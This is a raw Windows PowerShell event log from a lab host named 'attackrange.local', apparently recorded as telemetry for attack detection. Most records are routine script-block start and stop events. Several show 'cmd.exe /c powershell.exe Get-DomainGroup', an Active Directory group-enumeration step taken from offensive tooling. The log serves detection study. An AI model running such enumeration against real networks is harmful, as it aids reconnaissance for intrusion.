Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051051
Keywords=None
Message=Started invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051050
Keywords=None
Message=Started invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051049
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1c47ef97-2fa7-43c2-a2dc-bd8bfbd1a92c
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051048
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1ad08a01-5607-4f5f-8353-02c19557073f
Runspace ID: 0ca8bd95-1d8d-4d51-b1cf-c6667de2e536
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051047
Keywords=None
Message=Started invocation of ScriptBlock ID: 1ad08a01-5607-4f5f-8353-02c19557073f
Runspace ID: 0ca8bd95-1d8d-4d51-b1cf-c6667de2e536
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2051046
Keywords=None
Message=Creating Scriptblock text (1 of 1):
$global:?

ScriptBlock ID: 1ad08a01-5607-4f5f-8353-02c19557073f
Path:
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051045
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1616cc23-017f-4b1c-a238-66cf202979b5
Runspace ID: 0ca8bd95-1d8d-4d51-b1cf-c6667de2e536
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051044
Keywords=None
Message=Completed invocation of ScriptBlock ID: bb59e944-3338-409a-b661-722153f17499
Runspace ID: 0ca8bd95-1d8d-4d51-b1cf-c6667de2e536
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051043
Keywords=None
Message=Completed invocation of ScriptBlock ID: 147b9dba-e828-462f-b8bf-773285edb947
Runspace ID: 0ca8bd95-1d8d-4d51-b1cf-c6667de2e536
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051042
Keywords=None
Message=Started invocation of ScriptBlock ID: 147b9dba-e828-462f-b8bf-773285edb947
Runspace ID: 0ca8bd95-1d8d-4d51-b1cf-c6667de2e536
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2051041
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ Set-StrictMode -Version 1; $_.OriginInfo }

ScriptBlock ID: 147b9dba-e828-462f-b8bf-773285edb947
Path:
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051040
Keywords=None
Message=Completed invocation of ScriptBlock ID: 574b2119-ea11-4de0-bc33-f003ea29184a
Runspace ID: 0ca8bd95-1d8d-4d51-b1cf-c6667de2e536
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051039
Keywords=None
Message=Started invocation of ScriptBlock ID: 574b2119-ea11-4de0-bc33-f003ea29184a
Runspace ID: 0ca8bd95-1d8d-4d51-b1cf-c6667de2e536
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2051038
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ Set-StrictMode -Version 1; $_.ErrorCategory_Message }

ScriptBlock ID: 574b2119-ea11-4de0-bc33-f003ea29184a
Path:
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051037
Keywords=None
Message=Completed invocation of ScriptBlock ID: fdef28df-c4bf-416d-b8fa-1595160bf60e
Runspace ID: 0ca8bd95-1d8d-4d51-b1cf-c6667de2e536
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051036
Keywords=None
Message=Completed invocation of ScriptBlock ID: 23eba913-6c07-41a7-a4d0-4e1f78af6fcc
Runspace ID: 0ca8bd95-1d8d-4d51-b1cf-c6667de2e536
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051035
Keywords=None
Message=Completed invocation of ScriptBlock ID: 27bbd388-78da-4331-9683-2de12e748132
Runspace ID: 0ca8bd95-1d8d-4d51-b1cf-c6667de2e536
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051034
Keywords=None
Message=Started invocation of ScriptBlock ID: 27bbd388-78da-4331-9683-2de12e748132
Runspace ID: 0ca8bd95-1d8d-4d51-b1cf-c6667de2e536
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2051033
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ Set-StrictMode -Version 1; $this.Exception.InnerException.PSMessageDetails }

ScriptBlock ID: 27bbd388-78da-4331-9683-2de12e748132
Path:
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051032
Keywords=None
Message=Started invocation of ScriptBlock ID: 23eba913-6c07-41a7-a4d0-4e1f78af6fcc
Runspace ID: 0ca8bd95-1d8d-4d51-b1cf-c6667de2e536
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051031
Keywords=None
Message=Started invocation of ScriptBlock ID: fdef28df-c4bf-416d-b8fa-1595160bf60e
Runspace ID: 0ca8bd95-1d8d-4d51-b1cf-c6667de2e536
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2051030
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ Set-StrictMode -Version 1; $_.PSMessageDetails }

ScriptBlock ID: fdef28df-c4bf-416d-b8fa-1595160bf60e
Path:
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051029
Keywords=None
Message=Started invocation of ScriptBlock ID: bb59e944-3338-409a-b661-722153f17499
Runspace ID: 0ca8bd95-1d8d-4d51-b1cf-c6667de2e536
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051028
Keywords=None
Message=Completed invocation of ScriptBlock ID: b6db425f-09e1-4f82-889b-512671a8c81c
Runspace ID: 0ca8bd95-1d8d-4d51-b1cf-c6667de2e536
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051027
Keywords=None
Message=Started invocation of ScriptBlock ID: b6db425f-09e1-4f82-889b-512671a8c81c
Runspace ID: 0ca8bd95-1d8d-4d51-b1cf-c6667de2e536
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051026
Keywords=None
Message=Started invocation of ScriptBlock ID: 1616cc23-017f-4b1c-a238-66cf202979b5
Runspace ID: 0ca8bd95-1d8d-4d51-b1cf-c6667de2e536
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2051025
Keywords=None
Message=Creating Scriptblock text (1 of 1):
Get-DomainGroup

ScriptBlock ID: 1616cc23-017f-4b1c-a238-66cf202979b5
Path:
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40962
EventType=4
Type=Information
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Stop
RecordNumber=2051024
Keywords=None
Message=PowerShell console is ready for user input
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=53504
EventType=4
Type=Information
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=PowerShell Named Pipe IPC
OpCode=Open (async)
RecordNumber=2051023
Keywords=None
Message=Windows PowerShell has started an IPC listening thread on process: 1740 in AppDomain: DefaultAppDomain.
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40961
EventType=4
Type=Information
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Start
RecordNumber=2051022
Keywords=None
Message=PowerShell console is starting up
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051021
Keywords=None
Message=Started invocation of ScriptBlock ID: 1c47ef97-2fa7-43c2-a2dc-bd8bfbd1a92c
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2051020
Keywords=None
Message=Creating Scriptblock text (1 of 1):
cmd.exe /c powershell.exe Get-DomainGroup

ScriptBlock ID: 1c47ef97-2fa7-43c2-a2dc-bd8bfbd1a92c
Path:
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051019
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051018
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051017
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051016
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051015
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051014
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051013
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051012
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051011
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051010
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051009
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051008
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051007
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051006
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051067
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051077
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051076
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051075
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051074
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051073
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051072
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051071
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051070
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
